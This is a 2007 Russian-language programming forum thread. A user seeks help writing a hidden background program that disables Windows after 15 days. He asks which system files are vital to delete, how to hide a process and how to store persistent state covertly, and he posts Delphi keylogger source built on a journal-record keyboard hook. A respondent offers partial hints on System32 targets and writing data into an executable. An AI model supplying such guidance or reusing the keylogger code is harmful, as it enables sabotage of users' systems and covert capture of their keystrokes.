|
|
|
|
|||||||
| Регистрация | << Правила форума >> | FAQ | Пользователи | Календарь | Поиск | Сообщения за сегодня | Все разделы прочитаны |
 |
|
|
Опции темы | Поиск в этой теме | Опции просмотра |
|
#1
05.01.2007, 19:16
|
|||
|
|||
Список жизненно важных вайлов.
Здравствуйте.
Подскажите пожалуйста. Мне нужен список жизненно важных файлов Windows'а и какие последствия вызовет из их устронение? Спешу заверить вас, что эта информация не принесет никого вреда тем, кто этого не захочет.  И еще вопрос: Как можно сохранить долговечные переменные(это чтоб можно было прочитать значения после перезагрузки), если не брать в расчет запись в файл, и запись в реестр. |
|
#2
05.01.2007, 23:06
|
||||
|
||||
Ну по второму: можно писать прям в EXE'шник.
А что эта за программа такая, которая не оставляет за собой следов деятельности и при этом интересуется жизненно важными файлами Windows'a? А она случайно в фоновом режиме не работает ли???  |
|
#4
07.01.2007, 12:42
|
|||
|
|||
|
Да конечно, Ross, программа, которую я хочу сделать сидит в фоновом режиме(кстати, а можно ее вобще скрыть, чтоб даже в древе процессов небыло видно?) и по истечению 15 суток глушит систему.
 Но идея была порождена в споре, и развивается уже как дело исключительно из соображения того, что я так не умею. Написал коряво, но думаю, вы как более опытный программист, очень хорошо понимаете о чем я.  Так все же, вы поможете мне? И, если не затруднит, поподробнее касательно 'писать прям в EXE'шник'. По поводу вирусмейкерства. Я думаю, что пусть человек лучше вирусы пишет, чем днями на пролет "косынку расскладывает". |
|
#9
08.01.2007, 21:59
|
|||
|
|||
|
Подскажите, пожалуйста, как сделать следующий KeyLogger
Код:
...
var
...
h:hhook;
...
function Proc(
code:integer;
wParam:WPARAM;
lParam:LPARAM
):lresult;stdcall;
var c:array[0..255] of char;
nScan:integer;
begin
if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
nscan:=nscan shl 16;
GetKeyNameText(nScan,c,256);
form1.ListBox1.Items.Add(c);
end;
result:=callnexthookex(h,code,wparam,lparam);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
caption:=inttostr(h);
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
unhookwindowshookex(h);
end;Так вот, как сдлелать его мультиязычным? Заранее благодарен за помощь и поддержку. |
|
#10
10.01.2007, 09:51
|
||||
|
||||
|
Ну в папке System32 куча драйверов и сервисных служб, надо вычислять какая одна из особо важных, к тому же антивирусняк может не дать доступа к монипуляциям в этой папке.
А по счёт записи в exe'шник на Delphiworld.narod.ru были статьи. И так чисто по приколу скажу, обычно админ форума не позволяет таких тем на форуме (к тому же так в открытую), если он увидит этот топик может просто удалить его. (а может уже видил )Был тут один тоже просил помочь вирусняк написать, админ стразу его прикрыл. |
|
#11
10.01.2007, 09:53
|
||||
|
||||
|
Цитата:
Необязательно, есть два файла например с расширением .part001 и .part002 и программа их сливает и даёт необходимое расширение, я могу отослать исходник программы которая этим занимется, я делал такую. И к тому же свойства не унаследуются, я как делал, если файл резаный то их сливаем и получается рабочий файл. |
|
#12
12.01.2007, 01:45
|
|||
|
|||
|
Ross, мне бы очень хотелось посмотреть на эту программу.
Мне очень интерсно, скажи, сколько лет, ты занимаешься программированием? С какими языками умеешь обращаться? Просто я примерно 1,5 года ежедневно бьюсь (0,5 VB и 1 Delphi), и нифига толгового самостоятельно сделать не могу. Недавно взялся за DirectDraw - вообще темный лес для меня. Рублю, рублю, а просвета нету и даже не пахнет. Может это все пустое? Может здесь тоже нужно иметь что-то изнутри? Как, например, не каждый может стать певцом или художником. Исходный код программы закинь, пожалуйста, на мыло: neon_666@mail.ru |
|
#14
14.01.2007, 01:29
|
||||
|
||||
|
Цитата:
Отправлю завтра.  |
Линейный вид
